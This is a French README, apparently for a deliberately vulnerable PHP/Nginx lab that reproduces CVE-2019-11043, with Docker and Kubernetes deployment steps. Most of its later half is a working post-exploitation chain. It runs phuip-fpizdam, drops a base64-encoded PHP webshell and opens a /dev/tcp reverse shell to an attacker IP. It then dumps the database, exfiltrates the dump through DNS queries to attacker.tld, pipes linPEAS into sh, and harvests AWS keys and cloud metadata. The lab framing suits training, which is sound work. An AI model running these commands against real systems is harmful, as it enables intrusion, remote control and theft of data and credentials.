
Application PHP intentionnellement vulnérable avec configuration Nginx/PHP-FPM pour reproduire CVE-2019-11043, y compris le déploiement Docker et Kubernetes, des exercices de post-exploitation et l'intégration avec phuip-fpizdam.
Application PHP minimale avec une configuration Nginx/PHP-FPM volontairement vulnérable pour reproduire CVE-2019-11043. Inclut un mini gestionnaire de tâches, une page de connexion/admin et une interface de configuration de base de données.
# build
docker build -t cve-2019-11043-lab:app .
# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app
# open
open http://localhost:8080/
Utilisez phuip-fpizdam contre status.php, laissez-le détecter les paramètres, puis relancez avec --skip-detect.
~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"
L'application prend en charge SQLite et MySQL avec détection automatique :
sqlite:/var/www/html/data/app.sqlitemysql:host=hostname;port=3306;dbname=database;charset=utf8mb4Lorsque ces variables d'environnement sont définies, elles remplacent automatiquement le DSN :
DB_HOST - Nom d'hôte de la base de donnéesDB_PORT - Port de la base de données (par défaut : 3306)DB_NAME - Nom de la base de donnéesDB_USER - Nom d'utilisateur de la base de donnéesDB_PASS - Mot de passe de la base de donnéesindex.php, login.php, admin.php)./health.php, qui vérifie également la connectivité à la base de données.Les manifests se trouvent dans k8s/ :
k8s/secret.yaml : identifiants MySQL (espaces réservés stringData)k8s/mysql-deployment.yaml : Déploiement MySQL + Servicek8s/app-deployment.yaml : Déploiement de l'application (privilégié) + Service ; monte le secret et définit les variables d'environnement DBk8s/ingress.yaml : Ingress Nginx acheminant vers l'applicationL'espace réservé de l'image utilise quay.io – remplacez quay.io/your-org/cve-2019-11043-lab:app par votre dépôt.
Ordre d'application :
kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml
L'Ingress suppose un contrôleur Ingress Nginx et que le DNS/hôtes taskapp.local pointe vers son adresse.
public/ : racine web (points d'entrée)app/ : assistants de l'application (config, db, auth, version)php/ : surcharges ini PHP-FPMk8s/ : manifests Kubernetesdata/ : données d'exécution (base SQLite, config)Connectez-vous sur /login.php avec admin / admin (indice UI masqué par CSS).
Accédez à /db_config.php en tant qu'administrateur pour :
Cet environnement est volontairement vulnérable. Ne l'exposez pas à des réseaux non fiables.
Construisez et poussez une image multi-arch (linux/amd64, linux/arm64) vers quay.io.
Prérequis : Docker Buildx (Docker Desktop l'inclut). Émulation QEMU optionnelle : docker run --privileged --rm tonistiigi/binfmt --install all.
# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app
# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap
# build and push multi-arch image
docker buildx build \
--platform linux/amd64,linux/arm64 \
-t "$IMG" \
-t "${IMG}-$(date +%Y%m%d)" \
--push .
# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"
Définissez les cibles :
BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"
Exploit (détection automatique, puis exécution finale) :
~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"
Déposez un mini webshell et vérifiez l'exécution :
# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"
Continuez avec les exercices de laboratoire de post-exploitation ci-dessous pour le reverse shell, le dump MySQL, l'exfiltration DNS TXT, linPEAS et la recherche de clés AWS.
Ces étapes sont uniquement destinées à un usage éducatif dans cet environnement de laboratoire.
Définissez votre URL de base et votre IP d'attaquant :
BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444
Après avoir exploité CVE-2019-11043 avec phuip-fpizdam, utilisez la primitive RCE pour écrire un mini webshell. Si vous avez déjà un shell dans le conteneur, exécutez :
# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null
Si vous n'avez que la RCE (pas de shell), exécutez la même écriture base64 via la primitive RCE (par ex., via l'outil d'exploit).
Validez :
curl -s "$BASE/sh.php?c=whoami"
curl -s "$BASE/sh.php?c=whoami"
Sur votre hôte attaquant :
nc -lvnp "$ATTACKER_PORT"
Déclenchez depuis la cible (commande encodée en URL) :
ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
Si bash n'est pas disponible, essayez :
ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
Option A (chemin administrateur du cluster) :
kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz
Option B (via webshell utilisant PHP PDO) : écrivez un script de dump rapide qui utilise la configuration de l'application :
# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
$rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
echo "-- Table: {$t}\n";
echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP
# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json
Pointez un domaine de test que vous contrôlez (par ex., exf.attacker.tld) vers un serveur de noms que vous capturez (par ex., dnschef ou bind). Ensuite, depuis la cible, déclenchez des requêtes DNS transportant des morceaux :
# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\'''
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"
Observez les requêtes sur votre serveur de noms ; reconstruisez à partir des labels.
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# env vars
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'
# filesystem (possible secrets mounted, configs, code)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"
# instance metadata (if reachable; usually blocked from pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true
Encore une fois : effectuez ces opérations uniquement dans ce laboratoire. Ne testez jamais contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite d'évaluation.